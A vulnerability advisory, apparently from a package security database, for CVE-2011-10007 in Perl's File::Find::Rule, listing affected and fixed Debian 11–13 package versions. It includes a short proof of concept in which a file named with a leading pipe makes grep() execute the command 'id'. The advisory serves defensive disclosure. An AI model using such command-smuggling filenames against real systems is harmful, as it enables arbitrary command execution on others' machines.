CVE-2011-10007

A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open(), turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \ -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)

References

Affected packages

Debian:11 / libfile-find-rule-perl

Package

Name: libfile-find-rule-perl
Purl: pkg:deb/debian/libfile-find-rule-perl?arch=source

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.34-1+deb11u1

Affected versions

0.*

0.34-1

Ecosystem specific

{
    "urgency": "not yet assigned"
}

Debian:12 / libfile-find-rule-perl

Package

Name: libfile-find-rule-perl
Purl: pkg:deb/debian/libfile-find-rule-perl?arch=source

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.34-4~deb12u1

Affected versions

0.*

0.34-3

Ecosystem specific

{
    "urgency": "not yet assigned"
}

Debian:13 / libfile-find-rule-perl

Package

Name: libfile-find-rule-perl
Purl: pkg:deb/debian/libfile-find-rule-perl?arch=source

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.34-4

Affected versions

0.*

0.34-3

0.34-4~deb12u1

Ecosystem specific

{
    "urgency": "not yet assigned"
}